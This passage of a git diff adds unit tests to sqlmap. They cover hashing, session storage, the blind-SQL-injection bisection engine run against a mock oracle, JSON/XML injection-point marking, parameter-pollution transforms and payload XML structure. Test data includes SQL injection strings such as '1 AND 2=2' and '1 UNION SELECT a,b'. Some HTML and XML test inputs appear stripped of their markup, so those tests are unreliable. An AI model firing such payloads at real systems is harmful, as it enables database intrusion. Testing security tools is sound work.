"""Independent oracle: sqlmap's generic hashes must equal stdlib hashlib.""" + + PW = "testpass" + + def test_md5(self): + self.assertEqual(H.md5_generic_passwd(self.PW), hashlib.md5(b"testpass").hexdigest()) + + def test_sha1(self): + self.assertEqual(H.sha1_generic_passwd(self.PW), hashlib.sha1(b"testpass").hexdigest()) + + def test_sha224(self): + self.assertEqual(H.sha224_generic_passwd(self.PW), hashlib.sha224(b"testpass").hexdigest()) + + def test_sha256(self): + self.assertEqual(H.sha256_generic_passwd(self.PW), hashlib.sha256(b"testpass").hexdigest()) + + def test_sha384(self): + self.assertEqual(H.sha384_generic_passwd(self.PW), hashlib.sha384(b"testpass").hexdigest()) + + def test_sha512(self): + self.assertEqual(H.sha512_generic_passwd(self.PW), hashlib.sha512(b"testpass").hexdigest()) + + +class TestUppercase(unittest.TestCase): + def test_uppercase_flag(self): + self.assertEqual(H.md5_generic_passwd("testpass", uppercase=True), + hashlib.md5(b"testpass").hexdigest().upper()) + + def test_lowercase_default(self): + out = H.md5_generic_passwd("testpass", uppercase=False) + self.assertEqual(out, out.lower()) + + +class TestDbmsSpecificVectors(unittest.TestCase): + """Known vectors for the DBMS-native algorithms (mirrors the docstrings).""" + + def test_mysql(self): + self.assertEqual(H.mysql_passwd("testpass", uppercase=True), + "*00E247AC5F9AF26AE0194B41E1E769DEE1429A29") + + def test_mysql_old(self): + self.assertEqual(H.mysql_old_passwd("testpass", uppercase=True), "7DCDA0D57290B453") + + def test_postgres(self): + self.assertEqual(H.postgres_passwd("testpass", "testuser", uppercase=False), + "md599e5ea7a6f7c3269995cba3927fd0093") + + def test_mssql(self): + self.assertEqual(H.mssql_passwd("testpass", salt="4086ceb6", uppercase=False), + "0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + + def test_oracle(self): + self.assertEqual(H.oracle_passwd("SHAlala", salt="1B7B5F82B7235E9E182C", uppercase=True), + "S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") + + def test_oracle_old(self): + self.assertEqual(H.oracle_old_passwd("tiger", "scott", uppercase=True), "F894844C34402B67") + + +class TestHashRecognition(unittest.TestCase): + def test_md5_generic(self): + self.assertEqual(H.hashRecognition("179ad45c6ce2cb97cf1029e212046e81"), HASH.MD5_GENERIC) + + def test_sha1_generic(self): + self.assertEqual(H.hashRecognition("206c80413b9a96c1312cc346b7d2517b84463edd"), HASH.SHA1_GENERIC) + + def test_mysql(self): + self.assertEqual(H.hashRecognition("*00E247AC5F9AF26AE0194B41E1E769DEE1429A29"), HASH.MYSQL) + + def test_junk_is_none(self): + self.assertIsNone(H.hashRecognition("foobar")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py new file mode 100644 index 000000000..597925c62 --- /dev/null +++ b/tests/test_hashdb.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Session storage layer (lib/utils/hashdb.py) - the on-disk SQLite cache that +makes --flush-session / resume work. + +Exercised against a REAL temporary SQLite file (no network, no DBMS): scalar +write/retrieve, serialized round-trip for every container type sqlmap stores, +overwrite semantics, missing-key -> None, and key-hash determinism. + +This is also the end-to-end regression for the base64-pickle bytes fix: a +serialized value containing raw `bytes` must survive a write/flush/retrieve +cycle on both Python 2 and 3 (it silently failed on py3 before the patch.py fix). +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.hashdb import HashDB +from lib.core.datatype import AttribDict +from lib.core.bigarray import BigArray + + +class _HashDBCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + self.db = HashDB(self.path) + + def tearDown(self): + try: + self.db.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + +class TestScalar(_HashDBCase): + def test_string_roundtrip(self): + self.db.write("greeting", "hello") + self.db.flush() + self.assertEqual(self.db.retrieve("greeting"), "hello") + + def test_non_serialized_number_comes_back_as_text(self): + # non-serialized writes are stored via getUnicode() + self.db.write("num", 5) + self.db.flush() + self.assertEqual(self.db.retrieve("num"), "5") + + def test_missing_key_is_none(self): + self.assertIsNone(self.db.retrieve("never-written")) + + def test_overwrite_last_wins(self): + self.db.write("k", "v1") + self.db.write("k", "v2") + self.db.flush() + self.assertEqual(self.db.retrieve("k"), "v2") + + def test_keys_are_independent(self): + self.db.write("a", "1") + self.db.write("b", "2") + self.db.flush() + self.assertEqual(self.db.retrieve("a"), "1") + self.assertEqual(self.db.retrieve("b"), "2") + + +class TestSerialized(_HashDBCase): + def test_list_dict_tuple_set(self): + cases = { + "list": [1, 2, 3, "x"], + "dict": {"k": [1, {"n": "v"}]}, + "tuple": (1, "a", None), + "set": set([1, 2, 3]), + } + for key, val in cases.items(): + self.db.write(key, val, True) + self.db.flush() + for key, val in cases.items(): + self.assertEqual(self.db.retrieve(key, True), val, msg="serialized round-trip for %s" % key) + + def test_attribdict_roundtrip(self): + ad = AttribDict() + ad.x = 1 + ad.y = [1, 2] + self.db.write("ad", ad, True) + self.db.flush() + got = self.db.retrieve("ad", True) + self.assertIsInstance(got, AttribDict) + self.assertEqual(got.x, 1) + self.assertEqual(got.y, [1, 2]) + + def test_bigarray_roundtrip(self): + self.db.write("ba", BigArray([1, 2, 3]), True) + self.db.flush() + got = self.db.retrieve("ba", True) + self.assertIsInstance(got, BigArray) + self.assertEqual(list(got), [1, 2, 3]) + + def test_bytes_containing_value_survives(self): + # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} + self.db.write("bytesval", value, True) + self.db.flush() + self.assertEqual(self.db.retrieve("bytesval", True), value) + + +class TestKeyHashing(_HashDBCase): + def test_distinct_keys_distinct_hashes(self): + # a broken hashKey that keys only on (say) length or the last char would collide; require + # 200 distinct keys to map to 200 distinct hashes. (Determinism is implied: the retrieve + # round-trips in TestScalar already depend on hashKey being stable.) + keys = ["key_%d_%s" % (i, "abcdefgh"[i % 8]) for i in range(200)] + hashes = set(HashDB.hashKey(k) for k in keys) + self.assertEqual(len(hashes), len(keys), msg="hashKey produced collisions across distinct keys") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py new file mode 100644 index 000000000..24ee9d6fd --- /dev/null +++ b/tests/test_identifiers_output.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Identifier quoting per DBMS dialect, CSV value escaping, and dump value +replacement markers. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue +from lib.core.enums import DBMS + + +class TestIdentifierQuoting(unittest.TestCase): + # special-char identifier -> the per-dialect quoting wrapper + WRAP = { + DBMS.MYSQL: "`weird name`", + DBMS.MSSQL: "[weird name]", + DBMS.PGSQL: '"weird name"', + DBMS.ORACLE: '"WEIRD NAME"', # Oracle upper-cases quoted identifiers + } + + def test_special_identifier_quoting(self): + for dbms, wrapped in self.WRAP.items(): + set_dbms(dbms) + self.assertEqual(safeSQLIdentificatorNaming("weird name"), wrapped, msg=str(dbms)) + + def test_simple_identifier_roundtrip(self): + # plain identifier needs no quoting; round-trips identically on case-preserving dialects + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + for ident in ("users", "password", "tbl1"): + self.assertEqual(safeSQLIdentificatorNaming(ident), ident, msg="%s %r" % (dbms, ident)) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(ident)), ident) + + def test_oracle_uppercases_on_unsafe(self): + # documented dialect quirk: Oracle unsafe-naming upper-cases identifiers + set_dbms(DBMS.ORACLE) + self.assertEqual(safeSQLIdentificatorNaming("users"), "users") + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("users")), "USERS") + + def test_unsafe_strips_quotes(self): + for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + self.assertEqual(unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming("weird name")), "weird name") + + +class TestSafeCSValue(unittest.TestCase): + CASES = [ + ("foobar", "foobar"), # plain -> unchanged + ("foo,bar", '"foo,bar"'), # contains delimiter -> quoted + ('he"y', '"he""y"'), # contains quote -> doubled + wrapped + ("a\nb", '"a\nb"'), # contains newline -> quoted + ] + + def test_table(self): + for inp, expected in self.CASES: + self.assertEqual(safeCSValue(inp), expected, msg="safeCSValue(%r)" % inp) + + def test_idempotent_on_already_quoted(self): + once = safeCSValue("a,b") + self.assertEqual(safeCSValue(once), once) # already starts+ends with quote -> unchanged + + +# (DUMP_REPLACEMENTS markers are covered in test_dicts.py - not duplicated here) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py new file mode 100644 index 000000000..bbc0b5a1f --- /dev/null +++ b/tests/test_inference_engine.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The blind-SQLi extraction engine (lib/techniques/blind/inference.py bisection). + +This is the actual algorithm that pulls data out one character at a time over a +boolean/blind oracle - the heart of sqlmap. It is normally network-coupled, so +here we drive the REAL bisection() against a mock oracle: Request.queryPage is +replaced with a function that decodes the forged payload (we control the payload +template, so it is trivially parseable) and answers the comparison against a +known secret. If bisection's binary search, charset narrowing, or value assembly +regress, these go red - without a live target. + +Also asserts the search is logarithmic (binary search), not a linear scan of the +character space. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import getCurrentThreadData +from lib.request.connect import Connect +import lib.techniques.blind.inference as inf + +# bisection does: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). We pass a parseable +# template so the mock oracle can recover (idx, operator, threshold). +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False} + + +class _EngineCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _extract(self, secret, charsetType=None): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=charsetType) + return value, count + + +class TestBisectionExtraction(_EngineCase): + # NOTE: the alpha / numeric / mixed cases are NOT redundant - getChar has per-class + # "first character" position heuristics (distinct branches for a-z, A-Z and 0-9 at + # inference.py ~331-336), so each character class exercises a different code path. + def test_single_char(self): + value, _ = self._extract("X") + self.assertEqual(value, "X") + + def test_alpha(self): + value, _ = self._extract("AdminUser") # exercises the a-z / A-Z heuristic branch + self.assertEqual(value, "AdminUser") + + def test_alphanumeric(self): + value, _ = self._extract("admin123") + self.assertEqual(value, "admin123") + + def test_with_spaces_and_symbols(self): + value, _ = self._extract("p@ss W0rd!") + self.assertEqual(value, "p@ss W0rd!") + + def test_numeric_string(self): + value, _ = self._extract("4815162342") # exercises the 0-9 heuristic branch + self.assertEqual(value, "4815162342") + + def test_longer_value(self): + secret = "The quick brown fox 0123456789" + value, _ = self._extract(secret) + self.assertEqual(value, secret) + + +class TestUnicodeExpansion(_EngineCase): + """charsetType=None starts with a 0..127 table and gradually expands it (shiftTable) to + reach higher code points. This test exercises the FIRST expansion step (code points + 128..1023) via Latin-1 chars, where the per-byte oracle model is exact. + + NOTE: kb.disableShiftTable is an INTENTIONAL session-level safety latch (sqlmap author's + design): once expansion runs all the way to the top - only reachable by a code point above + 0xFFFFF, or by a misbehaving always-TRUE oracle - it disables further expansion to prevent + runaway / erroneous extraction. That is deliberate, so this test does NOT assert that + expansion survives across such an event. + + (Code points >= 256 are retrieved/assembled byte-wise in real runs - decodeIntToUnicode + splits them into a byte sequence - so a simple ord()-based mock oracle only models the + single-byte range; those are out of scope here.)""" + + def test_extracts_latin1_via_first_expansion(self): + for s in (u"caf\xe9", u"\xfcber", u"ni\xf1o", u"\xe9\xe8\xea\xeb"): + self.assertEqual(self._extract(s)[0], s, msg="expansion extraction failed for %r" % s) + + +class TestSearchIsLogarithmic(_EngineCase): + def test_query_count_is_sublinear_in_charset(self): + # GOAL: catch a regression from binary search to a linear/per-codepoint scan. + # Observed cost is ~6-22 queries/char (it varies: the first-char heuristic's benefit + # depends on ambient kb/conf state, so a tighter bound would flake). A linear scan of the + # 128-char ASCII space would be ~128/char (~3840 for 30 chars). Bound at 40/char cleanly + # separates "logarithmic" (passes) from "linearized" (fails) without being flaky. + secret = "x" * 30 + _, count = self._extract(secret) + self.assertLess(count, len(secret) * 40, + msg="bisection used %d queries for %d chars (~%.1f/char) - search regressed toward linear?" + % (count, len(secret), count / float(len(secret)))) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_misc.py b/tests/test_misc.py new file mode 100644 index 000000000..d92b72b17 --- /dev/null +++ b/tests/test_misc.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted pure helpers: stats, set ops, value predicates, value/counter stacks, +enum helpers, DBMS alias/version checks, column prioritization. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core import common as C +from lib.core.settings import NULL +from lib.core.enums import DBMS + + +class TestStats(unittest.TestCase): + def test_average(self): + self.assertEqual(C.average([1, 2, 3, 4]), 2.5) + self.assertEqual(C.average([5]), 5) + + def test_stdev(self): + self.assertAlmostEqual(C.stdev([1, 2, 3, 4]), 1.2909944, places=5) + self.assertIsNone(C.stdev([5])) # undefined for single sample + + +class TestSetOps(unittest.TestCase): + def test_intersect(self): + self.assertEqual(C.intersect([1, 2, 3], [2, 3, 4]), [2, 3]) + self.assertEqual(C.intersect([1], [2]), []) + + def test_filterPairValues(self): + self.assertEqual(C.filterPairValues([[1, 2], [3], [4, 5], []]), [[1, 2], [4, 5]]) + + +class TestValuePredicates(unittest.TestCase): + def test_isNoneValue(self): + for v in (None, [], "", {}): + self.assertTrue(C.isNoneValue(v), msg="isNoneValue(%r)" % (v,)) + + def test_isNullValue(self): + self.assertTrue(C.isNullValue(NULL)) + # discriminating negatives: an always-True impl must fail these + self.assertFalse(C.isNullValue(None)) + self.assertFalse(C.isNullValue("")) + self.assertFalse(C.isNullValue("x")) + + def test_isNumPosStrValue(self): + for v, exp in [("5", True), ("0", False), ("-1", False), ("a", False), ("12", True)]: + self.assertEqual(bool(C.isNumPosStrValue(v)), exp, msg="isNumPosStrValue(%r)" % v) + + def test_firstNotNone(self): + self.assertEqual(C.firstNotNone(None, None, 5, 6), 5) + self.assertIsNone(C.firstNotNone(None, None)) + + +class TestValueStackAndCounters(unittest.TestCase): + def test_push_pop(self): + C.pushValue(7) + C.pushValue("x") + self.assertEqual(C.popValue(), "x") + self.assertEqual(C.popValue(), 7) + + def test_counters(self): + C.resetCounter("UNITTEST") + C.incrementCounter("UNITTEST") + C.incrementCounter("UNITTEST") + self.assertEqual(C.getCounter("UNITTEST"), 2) + + +class TestEnumAndDbmsHelpers(unittest.TestCase): + def test_aliasToDbmsEnum(self): + self.assertEqual(C.aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(C.aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_getPublicTypeMembers(self): + members = list(C.getPublicTypeMembers(DBMS, onlyValues=True)) + # goal is correct EXTRACTION, not a magic count: real members present, no private/dunder leak + self.assertIn(DBMS.MYSQL, members) + self.assertIn(DBMS.MSSQL, members) + self.assertIn(DBMS.ORACLE, members) + self.assertFalse(any(str(m).startswith("_") for m in members), msg="leaked private member: %r" % members) + + def test_isDBMSVersionAtLeast(self): + set_dbms(DBMS.MYSQL) + C.Backend.setVersion("5.7") + self.assertTrue(C.isDBMSVersionAtLeast("5.0")) + self.assertFalse(C.isDBMSVersionAtLeast("8.0")) + + +class TestColumnPriority(unittest.TestCase): + def test_prioritySortColumns(self): + # assert the FULL ordering, not just the first element (id-like floats to front, + # rest keep their relative order) + self.assertEqual(C.prioritySortColumns(["data", "id", "name"]), ["id", "data", "name"]) + + def test_prioritySortColumns_empty(self): + self.assertEqual(C.prioritySortColumns([]), []) + + +class TestArrayHelpers(unittest.TestCase): + def test_unArrayizeValue(self): + self.assertEqual(C.unArrayizeValue([5]), 5) # single-element list -> the element + self.assertEqual(C.unArrayizeValue([1, 2]), 1) # multi -> first + self.assertEqual(C.unArrayizeValue(7), 7) # scalar -> unchanged + self.assertIsNone(C.unArrayizeValue([])) # empty -> None + + def test_arrayizeValue(self): + self.assertEqual(C.arrayizeValue(5), [5]) # scalar -> wrapped + self.assertEqual(C.arrayizeValue([5]), [5]) # list -> unchanged + + def test_roundtrip_scalar(self): + for v in (0, 1, "x", "value"): + self.assertEqual(C.unArrayizeValue(C.arrayizeValue(v)), v) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py new file mode 100644 index 000000000..3f6edcf50 --- /dev/null +++ b/tests/test_pagecontent.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Page-content extraction helpers (lib/core/common.py): getFilteredPageContent, +getPageWordSet, extractTextTagContent, and parseSqliteTableSchema. + +The first three feed text-only comparison (--text-only), dynamic-content +removal, and Google-dork style scraping; the last reconstructs column metadata +from a sqlite_master CREATE TABLE statement during enumeration. All pure given +their input (the page must be unicode for tag stripping to engage - a real +gotcha pinned below). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (getFilteredPageContent, getPageWordSet, + extractTextTagContent, parseSqliteTableSchema) +from lib.core.data import kb + + +class TestFilteredPageContent(unittest.TestCase): + def test_strips_all_tags_in_text_mode(self): + self.assertEqual(getFilteredPageContent(u"foobartest"), + u"foobar test") + + def test_strips_script(self): + self.assertEqual(getFilteredPageContent(u"

keep

this

"), + u"keep this") + + def test_keeps_tags_when_not_only_text(self): + self.assertEqual(getFilteredPageContent(u"

a

b

", onlyText=False), + u"

a

b

") + + def test_bytes_input_unchanged(self): + # GOTCHA: tag stripping only engages for unicode input (charset-identified pages) + raw = b"x" + self.assertEqual(getFilteredPageContent(raw), raw) + + +class TestPageWordSet(unittest.TestCase): + def test_words(self): + self.assertEqual(sorted(getPageWordSet(u"foobartest")), + [u"foobar", u"test"]) + + +class TestExtractTextTagContent(unittest.TestCase): + def test_multiple_tags(self): + self.assertEqual(extractTextTagContent(u"Welcome

Body text

"), + [u"Welcome", u"Body text"]) + + +class TestParseSqliteTableSchema(unittest.TestCase): + def setUp(self): + kb.data.cachedColumns = {} + + def _cols(self): + # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here) + return dict(kb.data.cachedColumns[None][None]) + + def test_basic_columns_and_types(self): + parseSqliteTableSchema("CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, age INT)") + cols = self._cols() + self.assertEqual(cols["id"], "INTEGER") + self.assertEqual(cols["name"], "TEXT") + self.assertEqual(cols["age"], "INT") + + def test_quoted_identifiers_and_sized_types(self): + parseSqliteTableSchema('CREATE TABLE "t"("id" INTEGER, "n" VARCHAR(50), flag BOOLEAN)') + cols = self._cols() + self.assertIn("id", cols) + self.assertEqual(cols["n"], "VARCHAR") # size dropped + self.assertEqual(cols["flag"], "BOOLEAN") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py new file mode 100644 index 000000000..8a49ed287 --- /dev/null +++ b/tests/test_payload_marking.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Request-body injection-point handling: + - recognition regexes (REAL, imported from settings) classify JSON/JSON_LIKE/XML/PLAIN + - JSON/XML injection-point marking preserves every value (mirrors target.py) + - HPP transform reconstructs the original SQL after ASP comma-join +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REGEX, + XML_RECOGNITION_REGEX, PAYLOAD_DELIMITER, DEFAULT_GET_POST_DELIMITER) + +MARK = "*" + + +def classify(d): + if re.search(JSON_RECOGNITION_REGEX, d): + return "JSON" + if re.search(JSON_LIKE_RECOGNITION_REGEX, d): + return "JSON_LIKE" + if re.search(XML_RECOGNITION_REGEX, d): + return "XML" + return "PLAIN" + + +class TestRecognitionRegexes(unittest.TestCase): + CASES = [ + ('{"id":1}', "JSON"), + ('{"a":"b"}', "JSON"), + ('{"n":1,"m":"s"}', "JSON"), + ('[{"id":1}]', "JSON"), + ('[{"id":1},{"id":2}]', "JSON"), + ("{'a':'b'}", "JSON_LIKE"), + ("
1", "XML"), + ("1", "XML"), + ("v", "XML"), + ("id=1&x=2", "PLAIN"), + ("just text", "PLAIN"), + ] + + def test_classification(self): + for body, expected in self.CASES: + self.assertEqual(classify(body), expected, msg="classify(%r)" % body) + + +class TestJsonMarking(unittest.TestCase): + # mirrors target.py:159-162 JSON injection-point marking + @staticmethod + def mark(data): + data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % MARK, data) + data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', r'\g<1>%s"' % MARK, data) + data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', r'\g<1>\g<3>%s' % MARK, data) + data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', r'\g<1>\g<3>%s' % MARK, data) + return data + + CASES = [ + ('{"id":1}', '{"id":1*}'), + ('{"name":"abc"}', '{"name":"abc*"}'), + ('{"a":{"b":"1"}}', '{"a":{"b":"1*"}}'), + ('{"empty":""}', '{"empty":"*"}'), + ('{"b":true,"n":null}', '{"b":true*,"n":null*}'), + ('{"a":"x","b":"y"}', '{"a":"x*","b":"y*"}'), + ('{"url":"http://h:8080/p"}', '{"url":"http://h:8080/p*"}'), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="mark(%r)" % inp) + + def test_value_preserved_property(self): + # marking must not delete/garble the original value characters + for inp, _ in self.CASES: + out = self.mark(inp) + self.assertEqual(out.replace(MARK, ""), inp, msg="marking altered %r" % inp) + + +class TestXmlMarking(unittest.TestCase): + RX = r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % MARK, data) + + CASES = [ + ("x", "x*"), + ('x', 'x*'), + ("bob5", "bob*5*"), + ("v", "v*"), + ("1", "1*"), + ] + + def test_cases(self): + for inp, expected in self.CASES: + self.assertEqual(self.mark(inp), expected, msg="xmlmark(%r)" % inp) + + +class TestHppReconstruction(unittest.TestCase): + # mirrors connect.py:1171-1187 HPP splitting + def hpp(self, payload, name="id"): + from thirdparty.six.moves import urllib as _urllib # py2+py3 + quote = _urllib.parse.quote + + def ue(s): + try: + return quote(s) + except Exception: + return s + value = "%s=%s%s%s" % (name, PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER) + _ = re.escape(PAYLOAD_DELIMITER) + match = re.search(r"(?P\w+)=%s(?P.+?)%s" % (_, _), value) + out = match.group("value") + for splitter in (ue(' '), ' '): + if splitter in out: + prefix, suffix = ("*/", "/*") if splitter == ' ' else (ue(x) for x in ("*/", "/*")) + parts = out.split(splitter) + parts[0] = "%s%s" % (parts[0], suffix) + parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) + for i in range(1, len(parts) - 1): + parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) + out = "".join(parts) + for splitter in (ue(','), ','): + out = out.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) + return out + + # Exact transform outputs (verified live against an ASP-style join). We pin the produced + # string rather than "reconstruct the SQL", because reconstruction depends on the SQL parser + # treating /* */ as a token separator (1/*,*/AND -> "1 AND"), which a string compare can't model. + CASES = [ + ("1", "1"), + ("1 AND 2=2", "1/*&id=*/AND/*&id=*/2=2"), + ("1 AND 'a'='a'", "1/*&id=*/AND/*&id=*/'a'='a'"), + ] + + def test_exact_outputs(self): + for payload, expected in self.CASES: + self.assertEqual(self.hpp(payload), expected, msg="hpp(%r)" % payload) + + def test_balanced_comments(self): + # every /* must have a matching */ (no dangling comment bridge) + for payload in ["1 UNION SELECT a,b", "1 AND 2=2 OR 3=3", "x y z"]: + out = self.hpp(payload) + self.assertEqual(out.count("/*"), out.count("*/"), msg="unbalanced comments for %r" % payload) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_payloads_structure.py b/tests/test_payloads_structure.py new file mode 100644 index 000000000..51796da32 --- /dev/null +++ b/tests/test_payloads_structure.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Structural invariants of the injection payload/boundary definitions +(data/xml/payloads/*.xml -> conf.tests, data/xml/boundaries.xml -> conf.boundaries). + +These XML files ARE the detection engine: every test/boundary loaded here is +something sqlmap will fire at a target. The fields are pure data, so the right +tests are shape/range invariants - a malformed level, an unknown technique, a +duplicate title, or a test missing its request payload would silently break or +skew detection. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.payloads import loadBoundaries, loadPayloads +from lib.core.data import conf +from lib.core.enums import PAYLOAD +from lib.core.common import getPublicTypeMembers + +# load once for the module +loadBoundaries() +loadPayloads() + +TECHNIQUES = set(v for _, v in getPublicTypeMembers(PAYLOAD.TECHNIQUE)) # {1..6} +WHERES = set(v for _, v in getPublicTypeMembers(PAYLOAD.WHERE)) # {1,2,3} + + +class TestLoaded(unittest.TestCase): + # floors well below the current counts (~340 tests, ~54 boundaries) - high enough to catch a + # truncated/partially-loaded XML set (not just "> 0"), low enough to survive normal additions + def test_payloads_loaded(self): + self.assertGreaterEqual(len(conf.tests), 200, msg="only %d tests loaded" % len(conf.tests)) + + def test_boundaries_loaded(self): + self.assertGreaterEqual(len(conf.boundaries), 30, msg="only %d boundaries loaded" % len(conf.boundaries)) + + +class TestTestEntries(unittest.TestCase): + def setUp(self): + # guard against vacuous passes: if payloads failed to load, every loop below + # would iterate zero times and pass silently + self.assertTrue(conf.tests, "conf.tests is empty - payloads failed to load") + + def test_required_fields_present(self): + for t in conf.tests: + for field in ("title", "stype", "clause", "where", "level", "risk", "request", "response"): + self.assertIn(field, t, msg="test %r missing field %r" % (t.get("title"), field)) + + def test_title_non_empty(self): + for t in conf.tests: + self.assertTrue(t.title and t.title.strip(), msg="empty test title") + + def test_titles_unique(self): + titles = [t.title for t in conf.tests] + self.assertEqual(len(titles), len(set(titles)), msg="duplicate test titles exist") + + def test_stype_is_known_technique(self): + for t in conf.tests: + self.assertIn(t.stype, TECHNIQUES, msg="test %r has unknown stype %r" % (t.title, t.stype)) + + def test_level_and_risk_in_range(self): + for t in conf.tests: + self.assertIn(t.level, (1, 2, 3, 4, 5), msg="test %r bad level %r" % (t.title, t.level)) + self.assertIn(t.risk, (1, 2, 3), msg="test %r bad risk %r" % (t.title, t.risk)) + + def test_request_has_payload(self): + for t in conf.tests: + self.assertIn("payload", t.request, msg="test %r request has no payload" % t.title) + + def test_where_values_valid(self): + for t in conf.tests: + for w in t.where: + self.assertIn(w, 